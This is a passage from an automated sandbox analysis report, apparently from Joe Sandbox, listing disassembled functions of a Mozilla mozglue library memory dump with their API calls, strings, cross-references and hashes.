fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5260C4

Strings

QLl, xrefs: 6C525FFC, 6C526042, 6C526045, 6C5260B3

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QLl
API String ID: 3835517998-1288385546
Opcode ID: 5c44372d0f05cb710d0d768b8a42defb7812e25229023c193838656381f3a27a
Instruction ID: 82661944816c7442ae0bd97af5e5266b8da717e2c3043b0bdf4b398544d7e2e3
Opcode Fuzzy Hash: 5c44372d0f05cb710d0d768b8a42defb7812e25229023c193838656381f3a27a
Instruction Fuzzy Hash: 62219471A00208ABDB10AF249C09A9E7BB8FF45318F01C428E85E97280DB75A559CFD5

Function 6C4E5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4E5EDB
memset.VCRUNTIME140(ewRl,000000E5,?), ref: 6C4E5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4E5FB2
memset.VCRUNTIME140(ewRl,000000E5,?), ref: 6C4E61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4E7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4E730D
MOZ_CRASH(), xrefs: 6C4E7BA4
ewRl, xrefs: 6C4E5E9C, 6C4E5F22, 6C4E61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4E72E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4E72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4E7BCD, 6C4E7C1F, 6C4E7C34, 6C4E80FD

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewRl
API String ID: 2613674957-783701778
Opcode ID: d332682f14462c85dd47a6d36fa82aabe35a87a230da0ca9995f99da8409d233
Instruction ID: 6fde8845aada75c57d249c46e63fb0183c83c570ab56d2ccf7fb324bb466fdda
Opcode Fuzzy Hash: d332682f14462c85dd47a6d36fa82aabe35a87a230da0ca9995f99da8409d233
Instruction Fuzzy Hash: 40337F716097018FD304CF29C590E15BBE2BF8932AF2AC7ADE5698B796D731E841CB41

Function 6C514820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C514D65
Tl, xrefs: 6C514F88
-%llu, xrefs: 6C514825
data, xrefs: 6C5149B4
ProfileBuffer parse error: %s, xrefs: 6C514DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C514D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C514DB8, 6C514DD8
schema, xrefs: 6C5148C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C514CAF

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free
String ID: Tl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2721798545
Opcode ID: 88ea0b0f1872fd6353035a56c0b04e508523174ecd01e93b9acc2c0e378f232b
Instruction ID: 5c70a2f1465204f92eb0d71974d65a441ddf0dfaf0f4302f2394309ada5b0e6e
Opcode Fuzzy Hash: 88ea0b0f1872fd6353035a56c0b04e508523174ecd01e93b9acc2c0e378f232b
Instruction Fuzzy Hash: 9C720C71918B858BD322CF34C85179BF7F5AFDA344F108B1DE4896B611EB70A486DB42

Function 6C4ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C4FD1C5), ref: 6C4ED4F2
LeaveCriticalSection.KERNEL32(6C54E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C4FD1C5), ref: 6C4ED50B

Part of subcall function 6C4CCFE0: EnterCriticalSection.KERNEL32(6C54E784), ref: 6C4CCFF6
Part of subcall function 6C4CCFE0: LeaveCriticalSection.KERNEL32(6C54E784), ref: 6C4CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C4FD1C5), ref: 6C4ED52E
EnterCriticalSection.KERNEL32(6C54E7DC), ref: 6C4ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4ED6A6
LeaveCriticalSection.KERNEL32(6C54E7DC), ref: 6C4ED712
LeaveCriticalSection.KERNEL32(6C54E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C4FD1C5), ref: 6C4ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4ED7EA

Strings

<jemalloc>, xrefs: 6C4ED827
: (malloc) Error initializing arena, xrefs: 6C4ED82C

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 2a0263d7219feccf030ea60b069053cc8aef4129f4d9a9450ab9fb7e9ccc386e
Instruction ID: 298bd6d9e88431c028c45a491fa91bc49c181cca75b6fa78b51a80f1cf50ec4d
Opcode Fuzzy Hash: 2a0263d7219feccf030ea60b069053cc8aef4129f4d9a9450ab9fb7e9ccc386e
Instruction Fuzzy Hash: A991C371A047418FD714DF39C890F2AB7E1EBC931AF16892ED56A87B81D770E845CB82

Function 6C524EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C524EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C524F2E
moz_xmalloc.MOZGLUE ref: 6C524F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C524F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5252E6
Sleep.KERNEL32(00000010), ref: 6C525481
free.MOZGLUE(?), ref: 6C525498

Strings

(, xrefs: 6C525250

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: f4a998608cb2d91bb9b6528057838ed853ad3b08cf42b5bd3b220e41cb2aeea8
Instruction ID: 676c4b2f91bddfc55390abc0a49fc0e3e82b548c6fedacd0bc60b2061ac34adc
Opcode Fuzzy Hash: f4a998608cb2d91bb9b6528057838ed853ad3b08cf42b5bd3b220e41cb2aeea8
Instruction Fuzzy Hash: 82F1D371A18B408FC716DF39C85062BB7F5AFD6384F46872EF84AA7651EB31D8418B81

Function 6C527030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C527046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C527060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C52707E

Part of subcall function 6C4D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4D81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C527096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C52709C
LocalFree.KERNEL32(?), ref: 6C5270AA

Strings

(null), xrefs: 6C52706A, 6C527083
### ERROR: %s: %s, xrefs: 6C527087

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 0a649afc2c59101ba85a11e584ff91c3e6b39980200dc8675e563ef503a86b5a
Instruction ID: 6276a834b02dff30c0405a2f6792b0b0399469d8483384a324c5cde69ca211f1
Opcode Fuzzy Hash: 0a649afc2c59101ba85a11e584ff91c3e6b39980200dc8675e563ef503a86b5a
Instruction Fuzzy Hash: 1601D1B1A001047FDB00BB64DC4ADAF7BBCEF49319F024435F509E7241D67169148BE5

Function 6C4E9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4E9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4E9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4EA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4EA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4EA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EA8B1, 6C4EA8D4, 6C4EA8EF

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 096485727e62661cedeca1b60081fcae65567c4136aa3e4f13e99224d15c2995
Instruction ID: 7c5c2392b17bc453faf984cf38f167b516909ee1ce38746389c04a1554286ca4
Opcode Fuzzy Hash: 096485727e62661cedeca1b60081fcae65567c4136aa3e4f13e99224d15c2995
Instruction Fuzzy Hash: 65724C72A156118FD314CF28C540E15FFF1BF89329B2AC6ADE8699B791D335E842CB81

Function 6C512C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C512C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C512C61

Part of subcall function 6C4C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4C4E5A
Part of subcall function 6C4C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4C4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C512C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C512E2D

Part of subcall function 6C4D81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4D81DE

Strings

expected a Time entry, xrefs: 6C512E36
(root), xrefs: 6C51354F
ProfileBuffer parse error: %s, xrefs: 6C512E3B

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 978b055e68c9dfd5cbc1dcb65a6b80f00473794c5fcd260ea656bafb2a2e8f0b
Instruction ID: 9a75180ca0f2b7575498777e6315de044fbe01a5d18894ba7a95e7f0182b9a9f
Opcode Fuzzy Hash: 978b055e68c9dfd5cbc1dcb65a6b80f00473794c5fcd260ea656bafb2a2e8f0b
Instruction Fuzzy Hash: D791807060C7418BE714DF24C898A5EB7E1AFCA358F10491DE5998BB51EB30D94ACB92

Function 6C529E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C529F3D
__aulldiv.LIBCMT ref: 6C529F77
__aullrem.LIBCMT ref: 6C529F8C
__aulldiv.LIBCMT ref: 6C52A023

Strings

NaN, xrefs: 6C529EAB
-Infinity, xrefs: 6C529E60, 6C529E7B

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 81d6ea0e534b05b0f27111cb793bbb111f55262c809607d30ce3ffa569e1ee70
Instruction ID: 006132ab86b2c6c79db42dd56d9019d4039fd5e47bf4067fadeb7642e6db9ff5
Opcode Fuzzy Hash: 81d6ea0e534b05b0f27111cb793bbb111f55262c809607d30ce3ffa569e1ee70
Instruction Fuzzy Hash: C3C18B31E003198BDB14CFA9CC90BAEB7F6EB88714F15452DD405ABB80DB79A949CBD1

Function 6C4CD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C4CDBDD
8, xrefs: 6C4CDC08
-, xrefs: 6C4CD7DD
, xrefs: 6C4CDA88
0, xrefs: 6C4CD852
@, xrefs: 6C4CDAF6
9, xrefs: 6C4CDE7F
0, xrefs: 6C4CDC7F

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: befccc26c29f91ca3ff8c5e4e80739d3fefc00e432174860404bbcf381516958
Instruction ID: 030b04b0b1b3233162061fb316653013be2f3907bcc632abb196c558ed5eb6b5
Opcode Fuzzy Hash: befccc26c29f91ca3ff8c5e4e80739d3fefc00e432174860404bbcf381516958
Instruction Fuzzy Hash: 5C62CC3878C3458FD705CE18C490F6ABBE2AF86359F184A1DE4E54BB61D3359886CB93

Function 6C53545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C538A4B

Strings

~qLl, xrefs: 6C535703, 6C539269, 6C53921F, 6C535740, 6C5356C7, 6C539459, 6C53948F

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memset
String ID: ~qLl
API String ID: 2221118986-3881772974
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 2ccc80626c62e681a41f17e0df89da17d642efbd55f12bd28956cea2213e7086
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D772A0022ACFDB14CF68CC90799B7B2EF85314F1912AAD54DDB781E730A985CB91

Function 6C53542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C53925C

Strings

~qLl, xrefs: 6C535703, 6C539269, 6C53921F, 6C535740, 6C5356C7, 6C539459, 6C53948F

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memset
String ID: ~qLl
API String ID: 2221118986-3881772974
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a67132475b3dd62250b50a9a45f86329a1a9b26dea2a1601a826ac4df58e7a2d
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ECB1C672E0421ACFCB14CF58CC816EDB7B2EF85314F15126AD949EB785E730A999CB90

Function 6C52C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C52C0E9), ref: 6C52C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C52C437
FreeLibrary.KERNEL32(?,6C52C0E9), ref: 6C52C44C

Strings

NtQueryVirtualMemory, xrefs: 6C52C431
ntdll.dll, xrefs: 6C52C413

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: fed1aa8a8769483a15a0c4ae60c32be753e81829f3294a4b95c28801be7d4727
Instruction ID: 5c1bc83f8a93b8c546aa81cabf0980c298603e7adf6ea7f0a4e57f852aef16bb
Opcode Fuzzy Hash: fed1aa8a8769483a15a0c4ae60c32be753e81829f3294a4b95c28801be7d4727
Instruction Fuzzy Hash: 26E0B6706057019BEF007FBACD08B167BF8A74634DF02D316AA04AA641EBB4D0208B58

Function 6C4D9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C4DA625
' , xrefs: 6C4DA3D8
1, xrefs: 6C4DA824
0, xrefs: 6C4DAB22
0, xrefs: 6C4DA100
9, xrefs: 6C4DA5D6

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 1643d36117a0a8e75c2868772ff2bfa8d4f1015071760cea4f0ad22cc8533e3a
Instruction ID: a69f1152c1c18f30ca2b54c099a46a52fffa8d811a79b5de0cb321ae3593c6eb
Opcode Fuzzy Hash: 1643d36117a0a8e75c2868772ff2bfa8d4f1015071760cea4f0ad22cc8533e3a
Instruction Fuzzy Hash: E382D2315093119BD711EF19C070E6EB7F2EF8175AF568A2AE8D547B90D334B886CB82

Function 6C4CBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4CC1CB
__aulldiv.LIBCMT ref: 6C4CC24C
__aulldiv.LIBCMT ref: 6C4CC348
__aullrem.LIBCMT ref: 6C4CC365
__aulldiv.LIBCMT ref: 6C4CC37D

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 5bde39a5259a2118bf5c5f5c3883505545d4ba8c39fe993812ba69fa7112b8e7
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 54320336B046118FC718DE6CC890E66BBE6AFC9310F09866DE895CB3A5D730ED05CB91

Function 6C5177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C517A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C517A93

Part of subcall function 6C4E5C50: GetTickCount64.KERNEL32 ref: 6C4E5D40
Part of subcall function 6C4E5C50: EnterCriticalSection.KERNEL32(6C54F688), ref: 6C4E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C517AA1

Part of subcall function 6C4E5C50: __aulldiv.LIBCMT ref: 6C4E5DB4
Part of subcall function 6C4E5C50: LeaveCriticalSection.KERNEL32(6C54F688), ref: 6C4E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C517B31

Memory Dump Source

